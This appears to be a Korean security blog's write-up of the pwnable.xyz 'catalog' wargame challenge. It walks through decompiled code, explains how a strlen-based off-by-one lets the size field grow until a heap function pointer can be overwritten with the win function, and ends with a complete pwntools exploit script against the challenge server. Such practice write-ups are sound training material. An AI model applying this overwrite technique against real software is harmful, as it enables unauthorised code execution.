블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] catalog
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] catalog

728x90

 

1. 문제


1) mitigation 확인 

NO PIE이다. got overwrite가 가능하다 

 

 

2) 문제 확인 

이름 쓰기, 수정, 출력이 각 메뉴로 가능하다. 

 

 

3) 코드 확인 

  • main() 함수
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v3; // eax
      int i; // [rsp+Ch] [rbp-14h]
      int j; // [rsp+10h] [rbp-10h]
      int v7; // [rsp+18h] [rbp-8h]
      int v8; // [rsp+1Ch] [rbp-4h]
    
      setup(argc, argv, envp);
      while ( 1 )
      {
        while ( 1 )
        {
          print_menu();
          v3 = read_int32();
          if ( v3 != 1 )
            break;
          write_name();
        }
        if ( v3 <= 1 )
          break;
        if ( v3 == 2 )
        {
          for ( i = 0; catalog[i]; ++i )
            ;
          printf("index: ");
          v7 = read_int32();
          if ( v7 >= 0 && v7 < i )
            edit_name((size_t *)catalog[v7]);
          else
            puts("Invalid index");
        }
        else if ( v3 == 3 )
        {
          for ( j = 0; catalog[j]; ++j )
            ;
          printf("index: ");
          v8 = read_int32();
          if ( v8 >= 0 && v8 < j )
            (*(void (__fastcall **)(_QWORD))(catalog[v8] + 0x28LL))(catalog[v8]);
          else
            puts("Invalid index");
        }
        else
        {
    LABEL_25:
          puts("Invalid");
        }
      }
      if ( v3 )
        goto LABEL_25;
      return 0;
    }

    메인에서 주요하게 볼 부분은 오렌지색이다. 1번 메뉴는 write_name() 함수를 통해 동작을 한다. 2번 수정은 edit_name함수, 3번 출력은 catalog에 저장된 함수포인터를 통해 동작하는 것으로 보인다. 

     

     

  • write_name() 함수
    size_t *write_name()
    {
      size_t v0; // rdx
      size_t *result; // rax
      int i; // [rsp+4h] [rbp-Ch]
      size_t *s; // [rsp+8h] [rbp-8h]
    
      s = (size_t *)malloc(0x30uLL);
      for ( i = 0; catalog[i]; ++i )
        ;
      catalog[i] = s;
      s[5] = (size_t)print_name;
      s[4] = 0x20LL;
      edit_name(s);
      v0 = strlen((const char *)s);
      result = s;
      s[4] = v0;
      return result;
    }

    catalog는 bss 영역에 선언된 변수이다. 초기에 0x30 크기만큼 malloc으로 힙영역을 할당받는다. 그리고 catalog 배열에 할당받은 청크주소를 저장하고, mem 영역 맨 마지막 부분에 0x20과 print_name 함수 포인터를 넣는다. 

     

    그다음 edit_name으로 s에 입력을 받고, strlen으로 입력한 데이터 사이즈를 s[4]에 넣는다. 여기서 취약점이 터진다.  

     

 

  • edit_name() 함수
    ssize_t __fastcall edit_name(size_t *a1)
    {
      printf("name: ");
      return read(0, a1, a1[4]);
    }

    edit_name 함수는 별게 없다. catalog에 저장된 mem 영역에 read함수로 데이터를 저장하는데, 사이즈는 아까 strlen 함수로 저장한 사이즈 만큼 넣는다. 

 

 

2. 접근방법


취약한 부분은 바로 strlen 함수 부분이다. 초기에 청크 +0x20 부분에 0x20 가 들어가 있지만, strlen함수로 입력한 데이터를 청크 +0x20에 다시 복사한다. 

 

만약 0x20 바이트 만큼 꽉 채워서 데이터를 넣는다면,  

 

strlen 함수 실행시, 0x603030에 들어있던 0x20 값까지 포함하여 읽기 떄문에 해당 strlen의 반환값은 0x21이 된다. 따라서 다음 edit_name 함수 호출시 0x603030에 들어있는 값을 사이즈로 입력받으므로 한바이트를 더 변경 가능하고, 다음 edit_name 호출시 입력받을 수 있는 사이즈를 조절이 가능하다. 

 

0x21로 되어있는 부분은 0x60 이런식으로 변경하면, 0x603038에 들어있는 함수포인터를 변경하여 win함수로 바꿀수 있고, 3번 print_name 함수호출시 win함수를 실행하게 할 수 있다. 

 

 

 

3. 풀이


최종익스코드는 다음과 같다 

from pwn import *
p=remote("svc.pwnable.xyz",30023)

p.sendlineafter("> ","1")
p.sendafter("name: ","A"*0x20)

p.sendlineafter("> ","2")
p.sendlineafter("index: ","0")
p.sendafter("name: ","A"*0x21)

p.sendlineafter("> ","2")
p.sendlineafter("index: ","0")
p.sendafter("name: ","A"*0x28+p64(0x40092C))

p.sendlineafter("> ","3")

p.interactive()

 

 

4. 몰랐던 개념


  • none
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] password  (2) 2020.05.12
[pwnable.xyz] Punch it  (0) 2020.05.11
[pwnable.xyz] PvP  (0) 2020.05.09
[pwnable.xyz] bookmark  (0) 2020.05.08
[pwnable.xyz] attack  (0) 2020.05.07